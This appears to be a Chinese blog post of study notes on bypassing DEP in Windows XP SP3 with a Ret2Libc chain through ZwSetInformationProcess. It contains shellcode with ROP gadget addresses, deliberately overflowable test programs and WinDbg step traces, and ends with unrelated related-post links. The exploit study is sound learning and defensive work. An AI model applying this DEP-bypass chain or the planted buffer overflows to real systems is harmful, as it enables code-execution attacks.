本文补充记录我在试验关闭DEP过程遇到的问题和解决方法。

1.首先要说一下用OllyFindAddr插件寻找目标指令时可能会遇到的问题。诚然这个插件是个好东西,能迅速列出需要的指令流的地址,但并不是所有在列的指令地址都可以使用,入选前需要仔细甄别。以关闭DEP保护流程中为抬高esp的值而使用"Find Pop Retn+n"功能为例:

经过搜索,插件罗列了一堆备选指令地址。我挑选最后一个地址"0x7D97FE43"来实现抬高esp的目的。

根据Memory map对话框显示的信息,被选的地址位于模块shell32.dll的资源节中。对于这样的地址,稍加思索就会猜想到当eip执行到资源节中会引发异常。当然这只是猜测,实际还是要验证一下。先修改shellcode,然后用windbg加载演示代码,会很明显的看到在执行retn 0x28后会触发访存失败:

#include <windows.h>/*
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28是书中给出的地址<-------------
\x43\xfe\x97\x7d->retn 0x28是本文用于演示的地址<----------
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->关闭DEP
*/char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\"\x52\xe2\x92\x7c"\"\x85\x8b\x1d\x5d"\"\x43\xfe\x97\x7d"\"\x13\x98\xd1\x7d"\"\x24\xcd\x93\x7c"\"\x90\x90\x90\x90"};int test()
{char arry[4] = {0};_asm int 3;strcpy(arry,shellcode);return 0;
}

你可能会问我为什么临时用windbg替换Od来演示这个例子?因为od遇到访存错误就直接进入进入第二轮异常分发的流程,不便于演示目的;而windbg停留在第一轮异常分发流程(等待用户输入)。下面是程序溢出后准备抬高esp而执行指令retn 28前的调试记录:

manualDep!test+0x2e:
0040102e c3              ret
0:000> t
7c92e252 b801000000      mov     eax,1 ;调整eax的值
0:000> t
7c92e257 c3              ret
0:000> t
5d1d8b85 54              push    esp ;调整ebp的值
0:000> t
5d1d8b86 5d              pop     ebp
0:000> t
5d1d8b87 c20400          ret     4 ;抬高esp<----执行完ret 4就会准备执行ret 28

此时堆栈顶的内容----即执行ret 4时的返回地址为:0x7d97fe43,将该地址反汇编,得到指令ret 28h

0:000> r esp
esp=0012ff80
0:000> dd esp L4
0012ff80  7d97fe43 7dd19813 7c93cd24 90909090
0:000> u 7d97fe43  L1
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h

单步执行指令触发了异常,shellcode执行失败。异常发生时eip的值为0x7d97fe43,这正是ollyFindAddr给出的并被我随意采用的地址。

0:000> t
(32c.70): Access violation - code c0000005 (first chance) <--------访问内存异常
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=7ffde000 ecx=00406054 edx=00000000 esi=007efeb8 edi=00edf554
eip=7d97fe43 esp=0012ff88 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h

由此证明,虽然od给出很多备选地址,但这些地址未必都是可用的。结论:挑选指令流的地址时要首选落在模块可执行节中的地址。

2.作者在结尾部分蜻蜓点水般的给出了在win2k3上关闭DEP的方法。不得不说作者实在太敷衍了,一行解释都没有,我硬生生的调了几天才明白背后的原理。请大家看我缓缓道来。为了缕清作者的思路和简化溢出的过程,我重写了一份简单的测试代码,直接将作者提到的用于修改esi的指令流写在测试代码中,免去用od搜寻地址的过程,如下(运行环境XpSp3+vc++6.0):

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\   //这8B是为了溢出main函数中的buf及栈中的ebp"\x2a\x10\x40\x00"\ //这4B是程序加载时标签Lab1的地址,用于覆盖main函数的返回地址"\x2c\x10\x40\x00"\ //这4B是标签Lab2的地址"\x2e\x10\x40\x00"}; //最后4B是标签Lab3的地址int main()
{   _asm jmp Lab4; //Lab1-Lab3只为全局变量shellcode提供修改esi寄存器值的指令地址,并不直接参与程序的运行,因此用jmp语句跳到Lab4运行
Lab1:__asm{pop eax;retn;}
Lab2:__asm{pop esi;retn;}
Lab3:__asm{push esp;jmp eax;}char buf[4] = {0};
Lab4:   memcpy(buf,shellcode,20); //shellcode中有0x00这样的字节,strcpy会截断字符串,所以替换为memcpy
}

代码注释中也写道main函数的返回地址被Lab1覆盖,这就不难想到执行ret前esp指向Lab1:

0:000> r eip,esp
eip=00401061 esp=0012ff84 ;返回前eip指向0x401061处ret指令0:000> ub eip L5
00401054 83c444          add     esp,44h
00401057 3bec            cmp     ebp,esp
00401059 e862030000      call    pushjmp!_chkesp (004013c0)
0040105e 8be5            mov     esp,ebp
00401060 5d              pop     ebp
0:000> u eip L1
pushjmp!main+0x51 [C:\Documents and Settings\Administrator\桌面\studio\pushjmp\pushjmp.cpp @ 34]:
00401061 c3              ret
0:000> dd esp L8 ;返回前esp指向的栈内存
0012ff84  0040102a 0040102c 0040102e 00430da0

从0x12FF84开始的3个DWORD值是shellcode覆盖后的指令流地址,可以反汇编确认一下这串地址背后的指令:

0:000> u 0040102a  L2 ;第一个DWORD值对应程序中的Lab1
0040102a 58              pop     eax
0040102b c3              ret
0:000> u 0040102c L2 ;第二个DWORD值对应程序中的Lab2
0040102c 5e              pop     esi
0040102d c3              ret
0:000> u 0040102e L2 ;第三个DWORD值对应程序中的Lab3
0040102e 54              push    esp
0040102f ffe0            jmp     eax

现在我们已经清楚堆栈的分布,那就让我们在脑海中模拟一下程序执行的流程:

执行0x401061处的ret指令---->栈顶0x12ff84保存的值为0x40102a。导致eip=0x40102a准备执行pop eax;ret指令流;同时栈指针esp指向0x12ff88:

0:000> t
0040102a 58              pop     eax0:000> r eip,esp
eip=0040102a esp=0012ff88

pop eax---->从0x12ff88中取值传给eax,eax=0x40102c(此刻eax中保存了pop esi;ret指令流的地址),同时设置esp=0x12ff8c使得下面的ret指令从内存0x12ff8c中取返回地址,大家往前看看内存0x12ff8c处存放了哪条指令流的地址?对,就是Lab3后面的指令流!所以,请不要小看这条平淡的pop eax指令,它不仅把Lab2处的指令流地址传给寄存器eax,它还使程序在执行ret后跳过Lab2处的指令直接返回到0x40102e处执行Lab3处的指令。堪称神奇的一跳。

0:000> t ;单步执行pop eax
eax=0040102c ;请先记住eax的值,后面马上用到
0040102b c3              ret
0:000> r eax
eax=0040102c
0:000> r esp
esp=0012ff8c
0:000> u poi(esp) L2 ;反汇编栈顶指令,这是ret后的返回地址
0040102e 54              push    esp
0040102f ffe0            jmp     eax
0:000> t ;再次单步执行ret,程序如约进入Lab3
0040102e 54              push    esp

push esp的目的是为了讲堆栈指正赋给即将执行的pop esi使得esi指向可读写的内存。慢着,大家是否觉得我遗漏了什么?前面pop esi并没有被执行到,shellcode中其他再没有安排pop esp,怎么才能做到将esp的值赋给esi?请稍安勿躁接着看:

0:000> t
0040102e 54              push    esp
0:000> t
0040102f ffe0            jmp     eax {pushjmp!main+0x1c (0040102c)}
0:000> r eax ;执行jmp eax前看看eax保存的值及对应的汇编指令
eax=0040102c
0:000> u eax L2
0040102c 5e              pop     esi
0040102d c3              ret

啊,eax保存了程序中Lab2处的指令,这不就是从main函数ret时遇到的那个神奇的pop?这神奇的pop eax暂时冻结Lab2处代码的执行并保存到eax中,让eip先执行Lab3处的代码,然后解冻并从eax中迂回跳跃到Lab2中执行,太伟大了!

0:000> r esp,esi
esp=0012ff8c esi=007e8c4c
0:000> t
eax=0040102c esi=007e8c4c
eip=0040102c esp=0012ff8c
pushjmp!main+0x1c:
0040102c 5e              pop     esi
0:000> t
eax=0040102c esi=0012ff90
eip=0040102d esp=0012ff90
0040102d c3              ret
0:000> r esp,esi
esp=0012ff90 esi=0012ff90

最终shellcode成功的将esi修改为esp的值,使得esi指向的内存可读写。

Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess一节补充相关推荐

  1. Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess一节注记(下)

    在前一篇<Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess>一节注记(上) 的末尾部分,我们遇到访问无效内存的异常,本篇将讨论如何解决这个 ...

  2. Oday安全 12.3.1Ret2Libc实战之利用ZwSetInformationProcess一节注记(上)

    0day安全这书越到后面越难,哎...先记录一下看书过程中的注记,便于后面理解. 书中以绕过ntdll!LdrpCheckNXCompatibility:ntdll!LdrpCheckNXCompat ...

  3. NLP实战:利用Python理解、分析和生成文本 | 赠书

    导读:本文内容参考自<自然语言处理实战:利用Python理解.分析和生成文本>一书,由Hobson Lane等人所著. 本书是介绍自然语言处理(NLP)和深度学习的实战书.NLP已成为深度 ...

  4. mysql shell可视化_shell编程系列24--shell操作数据库实战之利用shell脚本将文本数据导入到mysql中...

    shell编程系列24--shell操作数据库实战之利用shell脚本将文本数据导入到mysql中 利用shell脚本将文本数据导入到mysql中 需求1:处理文本中的数据,将文本中的数据插入到mys ...

  5. Vue.js学习笔记—shop-bus:实战:利用计算属性、指令等知识开发购物车

    参考<Vue,js>实战(梁灏编著) shop-bus:实战:利用计算属性.指令等知识开发购物车 git代码地址 index.html <!DOCTYPE html> < ...

  6. 从春节12响浅谈漏洞利用

    春节12响是2019大年初一上映的电影<流浪地球>中的一个桥段,天才少年李11通过黑客技术,获得行星发动机控制权,从而拯救地球的故事. 本文简介了unix操作系统内核定时器事件.epoll ...

  7. ArcGIS实战:利用LandSat8 提取水体并计算面积

    ArcGIS实战:利用LandSat8 提取水体并计算面积 1.数据下载 LandSat 8 遥感影像属于多波段遥感影像,利用不同波段可以做一些分析,比如NDWI(水体提取),NDVI(绿地提取)等. ...

  8. 我的Python心路历程 第十二期 (12.4 指数实战可视化之plot中展示文本)

    我的Python心路历程 第十二期 (12.4 指数实战可视化之plot中展示文本) label.文本的显示. 代码: plt.xlabel(u'日期')plt.ylabel(u'净值')plt.te ...

  9. Vue.js实战之系统学习第一节

    为什么叫系统学习呢?因为我以前接触过Vue.js,但是没学过它的原理,只是简单的使用了,使用的时候就觉得很好用,没有其他的什么感觉,但当我进入职场后,学习了很多的前端技术后,才发现这个技术的友好,被它 ...

最新文章

  1. Python高级爬虫开发,高难度JS解密教程,绝地求生模拟登陆!
  2. c++设计一个不能被继承的类
  3. JAVA Builder模式构建MAP/LIST的示例
  4. C语言程序设计之十六进制显示
  5. JAVA首次课堂测试总结
  6. js 动态获取表格中的值并修改其他表格+js 动态拼接字符串
  7. Opera Unite 用户指南
  8. “应用程序无法正常启动 0xc0150002”如何解决?
  9. 有道词典 DIY 离线版
  10. 针对校园LAN的OpenFlow和软件定义网络
  11. 广告法违禁词替换工具_广告法违禁词、敏感词检测工具
  12. 必备!万用表使用手册
  13. Android-手撸抖音“潜艇大挑战”,最简单的Android自定义ListView下拉刷新与上拉加载
  14. Excel快捷键及常用技巧
  15. fedora安装 设置基础软件仓库时出错
  16. matlab仿真动画,用matlab制作简单仿真动画
  17. 微信公众号定位用户所在位置
  18. Programming tools
  19. Unity学习笔记--超简单:两个游戏对象直接用线连接(UI和世界坐标下均可)
  20. 《自己拯救自己》--[英]塞缪尔·斯迈尔斯

热门文章

  1. 方向余弦阵、四元数、等效旋转矢量的关系和不可交换误差的分析
  2. 计算机网络面试——HTTP篇
  3. CART树二元分类算法Python实现
  4. python周期函数,Python函数的周期性执行实现方法
  5. 基于 VPX 总线的工件台运动控制系统研究与开发-以光刻运动台为例(一)
  6. CEO说其实福特造的是“计算机”,流水线工人靠外骨骼变身钢铁侠
  7. 第十届蓝桥杯c语言试题,第十届蓝桥杯真题编程题1-7解析(高级组).pdf
  8. JS笔记(字符串篇)——字符串当中找出元素出现的位置和次数统计字符串中出现最多元素的字符与次数
  9. 前端介绍(前端的发展史)
  10. SVM支持向量机——MATLAB在数学建模中的应用